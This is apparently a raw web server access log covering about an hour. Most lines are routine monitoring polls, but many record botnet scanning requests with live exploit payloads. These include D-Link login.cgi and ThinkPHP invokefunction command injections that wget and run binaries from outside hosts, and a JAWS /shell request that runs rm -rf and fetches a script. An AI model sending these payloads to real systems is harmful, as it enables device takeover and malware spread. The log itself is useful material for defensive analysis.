212.91.246.72 - - [07/Feb/2020:18:54:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.24.13.243 - - [07/Feb/2020:18:54:44 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [07/Feb/2020:18:55:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.182.127.64 - - [07/Feb/2020:18:55:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:18:56:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.24.13.243 - - [07/Feb/2020:18:56:44 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [07/Feb/2020:18:57:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [07/Feb/2020:18:57:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
37.24.13.243 - - [07/Feb/2020:18:57:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
183.105.27.14 - - [07/Feb/2020:18:57:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [07/Feb/2020:18:57:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [07/Feb/2020:18:58:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [07/Feb/2020:18:58:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:18:58:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.12.141 - - [07/Feb/2020:18:59:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:18:59:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:00:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:01:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.24.13.243 - - [07/Feb/2020:19:01:44 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
37.24.13.243 - - [07/Feb/2020:19:02:11 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
37.24.13.243 - - [07/Feb/2020:19:02:23 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
201.176.163.6 - - [07/Feb/2020:19:02:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:19:02:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.80.246 - - [07/Feb/2020:19:03:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
14.203.76.225 - - [07/Feb/2020:19:03:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
38.141.34.34 - - [07/Feb/2020:19:03:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:19:03:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.9.241.22 - - [07/Feb/2020:19:03:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.82.86.160 - - [07/Feb/2020:19:03:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:19:04:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.143.108 - - [07/Feb/2020:19:05:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:19:05:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.45.223.19 - - [07/Feb/2020:19:05:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
159.65.11.106 - - [07/Feb/2020:19:06:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:19:06:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.116.94.41 - - [07/Feb/2020:19:06:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:19:07:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:08:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.225.186.221 - - [07/Feb/2020:19:09:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:19:09:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
101.16.168.206 - - [07/Feb/2020:19:09:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:19:10:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.41.225.231 - - [07/Feb/2020:19:10:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:19:11:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:12:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.64.139.248 - - [07/Feb/2020:19:12:38 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:19:13:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:14:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:15:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:16:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:17:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:18:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:19:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:20:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.189.37 - - [07/Feb/2020:19:20:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:19:21:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.245.66.13 - - [07/Feb/2020:19:22:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:19:22:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.32.179.78 - - [07/Feb/2020:19:23:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.159.142 - - [07/Feb/2020:19:23:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:19:23:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:24:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.181.181.120 - - [07/Feb/2020:19:24:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:19:25:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:26:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:27:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:28:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:29:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:30:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.146.76 - - [07/Feb/2020:19:30:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
70.95.63.117 - - [07/Feb/2020:19:31:20 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [07/Feb/2020:19:31:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:32:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.85.11 - - [07/Feb/2020:19:33:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:19:33:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.194.166.120 - - [07/Feb/2020:19:34:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [07/Feb/2020:19:34:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.250.85.126 - - [07/Feb/2020:19:35:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:19:35:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:36:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:37:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.84.119 - - [07/Feb/2020:19:38:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:19:38:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:39:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:40:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.245.66.13 - - [07/Feb/2020:19:41:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:19:41:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:42:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.87.35.218 - - [07/Feb/2020:19:43:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:19:43:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:44:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.10.220.201 - - [07/Feb/2020:19:45:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:19:45:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:46:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:47:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:48:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:49:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.176.42.236 - - [07/Feb/2020:19:50:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:19:50:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.250.104.237 - - [07/Feb/2020:19:51:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:19:51:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:52:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:53:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.100.87.249 - - [07/Feb/2020:19:54:12 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
27.109.216.148 - - [07/Feb/2020:19:54:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:19:54:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.109.216.148 - - [07/Feb/2020:19:54:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.100.87.249 - - [07/Feb/2020:19:54:43 +0100] "GET /nmaplowercheck1581101683 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.249 - - [07/Feb/2020:19:54:43 +0100] "GET /evox/about HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.249 - - [07/Feb/2020:19:54:45 +0100] "GET /HNAP1 HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.249 - - [07/Feb/2020:19:54:46 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.249 - - [07/Feb/2020:19:54:46 +0100] "POST /sdk HTTP/1.1" 404 308 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.249 - - [07/Feb/2020:19:54:46 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
185.100.87.249 - - [07/Feb/2020:19:54:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
27.109.216.148 - - [07/Feb/2020:19:55:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:19:55:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:56:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.60.246 - - [07/Feb/2020:19:57:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:19:57:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:19:59:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.245.48 - - [07/Feb/2020:19:59:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:20:00:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.120.47.106 - - [07/Feb/2020:20:00:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
185.100.87.248 - - [07/Feb/2020:20:00:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
5.101.0.209 - - [07/Feb/2020:20:00:51 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:20:00:51 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:20:00:51 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:20:00:55 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:20:01:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:02:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
